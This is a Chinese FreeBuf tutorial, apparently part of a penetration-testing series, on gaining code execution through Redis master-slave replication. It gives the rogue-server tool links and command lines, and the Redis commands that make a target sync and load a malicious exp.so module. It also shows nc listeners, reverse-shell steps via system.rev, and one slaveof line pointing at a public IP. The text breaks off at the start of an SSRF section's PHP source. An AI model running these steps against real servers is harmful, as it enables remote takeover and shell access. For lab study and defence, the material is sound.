freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之地基服务篇:服务攻防之数据库Redis(下)
2021-07-18 08:26:51

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

数据库作为业务平台信息技术的核心和基础,承载着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,数据库的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的数据库中往往储存着等极其重要和敏感的信息。这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。

通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!

今天会讲解到利用主从复制RCE、本地Redis主从复制RCE反弹shell、SSRF Redis 反弹shell、Redis知识拓展、Redis安全防护等操作,如果连Redis都不会安装操作提权等,怎么进行下一步的研究Redis数据库安全!怎么拿下对方服务器?

二、利用主从复制RCE

未授权的redis会导致GetShell,可以说已经是众所周知的了。
而这种方式是通过写文件来完成GetShell的,这种方式的主要问题在于,redis保存的数据并不是简单的json或者是csv,所以写入的文件都会有大量的无用数据,形似:
1626568067_60f37583b510727040dd1.png!small?1626568068541

这种主要利用了crontab、ssh key、webshell这样的文件都有一定容错性,再加上crontab和ssh服务可以说是服务器的标准的服务,所以在以前,这种通过写入文件的getshell方式基本就可以说是很通杀了。但随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和crontab,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下,我们就需要其他的利用手段了。

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

简单的说,攻击者(主机)写一个so文件,然后通过FULLRESYNC(全局)同步文件到受害人(从机)上。

1、下载

1626568058_60f3757a1f6d3ff337d2c.png!small?1626568061291

https://github.com/n0b0dyCN/redis-rogue-server
//未授权
https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
//有密码

目标靶机是不能开启保护模式,即下图设置才可以!

2、帮助

1626568076_60f3758c6efddc18cba8e.png!small?16265680792151626568081_60f37591945d728675b08.png!small?1626568087188可看到exp执行方法!

3、执行反弹

1)执行反弹

python3 redis_rogue_server.py -rhost 192.168.253.27 -lhost 192.168.253.9 -passwd dayu123

1626568088_60f3759860f2e47bba14c.png!small?1626568102764Shell? [i]interactive,[r]reverse:
有两种方式!

2)开启监听
1626568092_60f3759c90cf6ba368ae1.png!small?1626568098873本地开启nc的6666监听端口!

3)interactive交互
1626568097_60f375a1a397e1fc17f68.png!small?1626568105189选择i,然后直接交互即可!!

4)选择reverse反弹shell

1626568100_60f375a4e590b2c74190a.png!small?1626568107425

r
192.168.253.9
7777
python3 -c "import pty;pty.spawn('/bin/bash')"

1626568105_60f375a9623a932b40b77.png!small?1626568107425

成功获得交互shell!!

三、本地Redis主从复制RCE反弹shell

1、缺点

要说缺点,先明白上一部分的脚本执行的原理。上述的原理是,目标机器的redis可以被远程其他的机器登录。然后执行脚本内写死的一些命令,利用这些命令我们就可以执行系统命令。问题来了,假如目标机器仅仅允许本地进行登录的时候,上述利用就直接暴毙。这个时候,我们可以通过配合其他漏洞,从目标本地登录redis。然后手动执行脚本内写死的一些命令(这些命令的意思是将本机[靶机]redis作为从机,将攻击机器设置为主机,然后攻击机器会自动将一些恶意so文件同步给目标机器(从机)),从而来实现对目标机器的远程命令执行。

2、下载

https://github.com/n0b0dyCN/redis-rogue-server
//未授权
https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
//有密码

将redis-rogue-server的exp.so文件复制到Awsome文件夹中使用,因为exp.so带system模块!

3、执行演示

1)kali开启监听

nc -lvnp 9999

1626568118_60f375b659e9ac37e837c.png!small?1626568118841新开一个窗口,来监听,接受会话的反弹!!

2)开启主服务器

python3 redis_rogue_server.py -v -path exp.so

1626568125_60f375bdcefb0d5e3bd3c.png!small?1626568127033开启15000端口的主服务器!

3)Redis主从同步

查看是否存在模块:

module list

1626568130_60f375c21ffa86caed7a7.png!small?1626568130512可看到目前没有可用模块!

主从同步:
1626568135_60f375c722f981868055f.png!small?1626568139525

config set dir /tmp
//一般tmp目录都有写权限,所以选择这个目录写入
config set dbfilename exp.so
//设置导出文件的名字
slaveof 192.168.253.9 15000

slaveof 49.234.100.201 15000
//进行主从同步,将恶意so文件写入到tmp文件
//端口可以自定义

同步规则:
1626568141_60f375cd3dd58936356fc.png!small?1626568149253可看到主服务器上FULLRESYNC全局同步数据中!将恶意的exp.so同步到redis服务器上!

执行恶意模块:
1626568145_60f375d136a40a4249712.png!small?1626568149253

module load ./exp.so	
//加载写入的恶意so文件模块
module list
//查看恶意so有没有加载成功,主要是有没有“system”

可看到加载是成功的!!

反弹shell:
1626568152_60f375d8065b6d31b7797.png!small?1626568161376

system.rev 192.168.253.9 9999
//执行反弹命令

可看到成功反弹shell,可以进行交互 !!

另外一种方式:
1626568155_60f375db3a171b1be9d3f.png!small?1626568162024

system.exec "id"
//当然也可以通过这种方式来执行系统命令

也可以直接执行命令!

关闭主从同步:
1626568160_60f375e051e8868a1d360.png!small?1626568162024

slaveof NO ONE
//关闭主从

本地redis服务器关闭,或者直接在主服务器关闭也行!

四、SSRF Redis 反弹shell

网鼎杯2020玄武组SSRFME题!

1、加载源码

index.php源码:

<?php
function check_inner_ip($url)
{
    $match_result=preg_ma

本文作者:, 属于FreeBuf原创奖励计划,未经许可禁止转载

# 数据库安全
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按热度排序

登录/注册后在FreeBuf发布内容哦

相关推荐
\
  • 0 文章数
  • 0 评论数
  • 0 关注者
文章目录
登录 / 注册后在FreeBuf发布内容哦
收入专辑